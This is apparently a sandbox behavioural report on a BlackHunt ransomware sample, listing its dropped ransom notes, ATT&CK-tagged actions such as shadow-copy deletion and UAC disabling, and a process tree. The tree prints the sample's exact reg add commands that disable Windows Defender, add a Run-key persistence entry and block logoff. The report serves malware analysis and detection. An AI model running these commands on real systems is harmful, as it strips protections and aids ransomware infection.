File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\VideoWall\videowall.png	a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\update_tracking\org-netbeans-modules-keyring-fallback.xml	a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe
File created	C:\Program Files\VideoLAN\VLC\locale\gd\LC_MESSAGES\#BlackHunt_ReadMe.hta	a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\playlist\twitch.luac	a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\EST	a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\#BlackHunt_ReadMe.hta	a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\org-netbeans-modules-sendopts.jar	a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe
File created	C:\Program Files\VideoLAN\VLC\locale\hr\#BlackHunt_Private.key	a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ko\LC_MESSAGES\#BlackHunt_Private.key	a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe
File created	C:\Program Files\VideoLAN\VLC\plugins\logger\#BlackHunt_ReadMe.txt	a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe
File created	C:\Program Files\DVD Maker\Shared\DvdStyles\BabyBoy\#BlackHunt_ReadMe.txt	a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe
File opened for modification	C:\Program Files\ApprovePush.avi	a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe
File opened for modification	C:\Program Files\Java\jre7\lib\javafx.properties	a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Pacific\Apia	a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-bg_glass_65_ffffff_1x400.png	a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.emf.ecore_2.10.1.v20140901-1043\META-INF\#BlackHunt_ReadMe.hta	a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\alt-rt.jar	a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.babel.nls_eclipse_ja_4.4.0.v20140623020002\#BlackHunt_Private.key	a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\core\locale\#BlackHunt_ReadMe.hta	a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe
File created	C:\Program Files\VideoLAN\VLC\locale\th\#BlackHunt_ReadMe.hta	a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ga.txt	a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe
File created	C:\Program Files\VideoLAN\VLC\locale\lv\LC_MESSAGES\#BlackHunt_ReadMe.hta	a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Asia\Riyadh89	a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ml\LC_MESSAGES\#BlackHunt_Private.key	a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe
File created	C:\Program Files\VideoLAN\VLC\plugins\control\#BlackHunt_ReadMe.hta	a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\org-netbeans-modules-core-kit.jar	a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\p2\org.eclipse.equinox.p2.engine\profileRegistry\JMC.profile\#BlackHunt_ReadMe.hta	a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.httpclient4.ssl.feature_1.0.0.v20140827-1444\META-INF\ECLIPSE_.SF	a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.ja_5.5.0.165303.jar	a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe
File created	C:\Program Files\VideoLAN\VLC\locale\br\LC_MESSAGES\#BlackHunt_ReadMe.hta	a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Europe\Moscow	a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe
File created	C:\Program Files\VideoLAN\VLC\locale\te\LC_MESSAGES\#BlackHunt_ReadMe.hta	a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe
File created	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Browser\#BlackHunt_Private.key	a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Argentina\Salta	a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\America\Curacao	a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe
File created	C:\Program Files\VideoLAN\VLC\locale\gd\#BlackHunt_ReadMe.hta	a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe
File created	C:\Program Files\VideoLAN\VLC\locale\pt_PT\#BlackHunt_Private.key	a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\dropins\#BlackHunt_ReadMe.hta	a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe
File created	C:\Program Files\DVD Maker\Shared\DvdStyles\Performance\#BlackHunt_Private.key	a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Dhaka	a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.rjmx_5.5.0.165303\lib\mailapi.jar	a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.e4.ui.services_1.1.0.v20140328-1925.jar	a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
1588	schtasks.exe

Interacts with shadow copies 2 TTPs 6 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
1048	vssadmin.exe
2156	vssadmin.exe
676	vssadmin.exe
1704	vssadmin.exe
2876	vssadmin.exe
2316	vssadmin.exe

Kills process with taskkill 1 IoCs

evasion

pid	Process
2672	taskkill.exe

Modifies registry class 10 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon	vds.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	vds.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon	reg.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
1808	PING.EXE

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
1640	mshta.exe

Suspicious use of AdjustPrivilegeToken 24 IoCs

description	pid	Process
Token: SeDebugPrivilege	2232	a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe
Token: SeRestorePrivilege	2232	a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe
Token: SeBackupPrivilege	2232	a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe
Token: SeTakeOwnershipPrivilege	2232	a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe
Token: SeAuditPrivilege	2232	a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe
Token: SeSecurityPrivilege	2232	a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe
Token: SeIncBasePriorityPrivilege	2232	a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe
Token: SeBackupPrivilege	1296	vssvc.exe
Token: SeRestorePrivilege	1296	vssvc.exe
Token: SeAuditPrivilege	1296	vssvc.exe
Token: SeBackupPrivilege	2528	wbengine.exe
Token: SeRestorePrivilege	2528	wbengine.exe
Token: SeSecurityPrivilege	2528	wbengine.exe
Token: SeSecurityPrivilege	3980	wevtutil.exe
Token: SeBackupPrivilege	3980	wevtutil.exe
Token: SeSecurityPrivilege	2516	wevtutil.exe
Token: SeBackupPrivilege	2516	wevtutil.exe
Token: SeSecurityPrivilege	3348	wevtutil.exe
Token: SeSecurityPrivilege	3664	wevtutil.exe
Token: SeBackupPrivilege	3348	wevtutil.exe
Token: SeBackupPrivilege	3664	wevtutil.exe
Token: SeSecurityPrivilege	1308	wevtutil.exe
Token: SeBackupPrivilege	1308	wevtutil.exe
Token: SeDebugPrivilege	2672	taskkill.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2232 wrote to memory of 3004	2232	a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe	131
PID 2232 wrote to memory of 3004	2232	a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe	131
PID 2232 wrote to memory of 3004	2232	a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe	131
PID 2232 wrote to memory of 3004	2232	a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe	131
PID 2232 wrote to memory of 1176	2232	a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe	31
PID 2232 wrote to memory of 1176	2232	a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe	31
PID 2232 wrote to memory of 1176	2232	a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe	31
PID 2232 wrote to memory of 1176	2232	a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe	31
PID 3004 wrote to memory of 544	3004	reg.exe	33
PID 3004 wrote to memory of 544	3004	reg.exe	33
PID 3004 wrote to memory of 544	3004	reg.exe	33
PID 2232 wrote to memory of 2316	2232	a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe	34
PID 2232 wrote to memory of 2316	2232	a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe	34
PID 2232 wrote to memory of 2316	2232	a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe	34
PID 2232 wrote to memory of 2316	2232	a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe	34
PID 2232 wrote to memory of 1692	2232	a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe	36
PID 2232 wrote to memory of 1692	2232	a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe	36
PID 2232 wrote to memory of 1692	2232	a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe	36
PID 2232 wrote to memory of 1692	2232	a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe	36
PID 1176 wrote to memory of 2592	1176	cmd.exe	153
PID 1176 wrote to memory of 2592	1176	cmd.exe	153
PID 1176 wrote to memory of 2592	1176	cmd.exe	153
PID 2232 wrote to memory of 2580	2232	a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe	39
PID 2232 wrote to memory of 2580	2232	a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe	39
PID 2232 wrote to memory of 2580	2232	a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe	39
PID 2232 wrote to memory of 2580	2232	a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe	39
PID 2232 wrote to memory of 2676	2232	a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe	41
PID 2232 wrote to memory of 2676	2232	a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe	41
PID 2232 wrote to memory of 2676	2232	a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe	41
PID 2232 wrote to memory of 2676	2232	a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe	41
PID 2232 wrote to memory of 2844	2232	a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe	42
PID 2232 wrote to memory of 2844	2232	a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe	42
PID 2232 wrote to memory of 2844	2232	a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe	42
PID 2232 wrote to memory of 2844	2232	a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe	42
PID 2316 wrote to memory of 2608	2316	cmd.exe	44
PID 2316 wrote to memory of 2608	2316	cmd.exe	44
PID 2316 wrote to memory of 2608	2316	cmd.exe	44
PID 2232 wrote to memory of 2724	2232	a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe	45
PID 2232 wrote to memory of 2724	2232	a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe	45
PID 2232 wrote to memory of 2724	2232	a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe	45
PID 2232 wrote to memory of 2724	2232	a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe	45
PID 2232 wrote to memory of 2072	2232	a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe	48
PID 2232 wrote to memory of 2072	2232	a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe	48
PID 2232 wrote to memory of 2072	2232	a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe	48
PID 2232 wrote to memory of 2072	2232	a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe	48
PID 1692 wrote to memory of 2612	1692	cmd.exe	50
PID 1692 wrote to memory of 2612	1692	cmd.exe	50
PID 1692 wrote to memory of 2612	1692	cmd.exe	50
PID 2232 wrote to memory of 1744	2232	a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe	51
PID 2232 wrote to memory of 1744	2232	a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe	51
PID 2232 wrote to memory of 1744	2232	a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe	51
PID 2232 wrote to memory of 1744	2232	a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe	51
PID 2232 wrote to memory of 2480	2232	a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe	52
PID 2232 wrote to memory of 2480	2232	a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe	52
PID 2232 wrote to memory of 2480	2232	a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe	52
PID 2232 wrote to memory of 2480	2232	a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe	52
PID 2580 wrote to memory of 2732	2580	cmd.exe	54
PID 2580 wrote to memory of 2732	2580	cmd.exe	54
PID 2580 wrote to memory of 2732	2580	cmd.exe	54
PID 2232 wrote to memory of 2588	2232	a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe	55
PID 2232 wrote to memory of 2588	2232	a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe	55
PID 2232 wrote to memory of 2588	2232	a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe	55
PID 2232 wrote to memory of 2588	2232	a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe	55
PID 2232 wrote to memory of 2008	2232	a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe	57

System policy modification 1 TTPs 3 IoCs

evasion

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1"	a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe
"C:\Users\Admin\AppData\Local\Temp\a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe"
1⤵
- UAC bypass
- Checks whether UAC is enabled
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:2232
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
  2⤵
  PID:3004
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
    3⤵
    - Modifies registry class
    PID:544
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1176
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    PID:2592
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2316
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
    3⤵
    - Modifies registry class
    PID:2608
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1692
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:2612
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2580
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
    3⤵
    - Adds Run key to start application
    PID:2732
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
  2⤵
  PID:2676
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
    3⤵
    PID:2180
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
  2⤵
  PID:2844
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:2152
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
  2⤵
  PID:2724
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
    3⤵
    PID:2428
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
  2⤵
  PID:2072
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
    3⤵
    PID:2744
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
  2⤵
  PID:1744
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
    3⤵
    PID:1048
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
  2⤵
  PID:2480
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
    3⤵
    PID:2912
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
  2⤵
  PID:2588
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
    3⤵
    PID:2440
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
  2⤵
  PID:2008
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
    3⤵
    PID:1932
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
  2⤵
  PID:2456
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
    3⤵
    PID:1500
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
  2⤵
  PID:2572
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
    3⤵
    PID:1728
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
  2⤵
  PID:2924
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
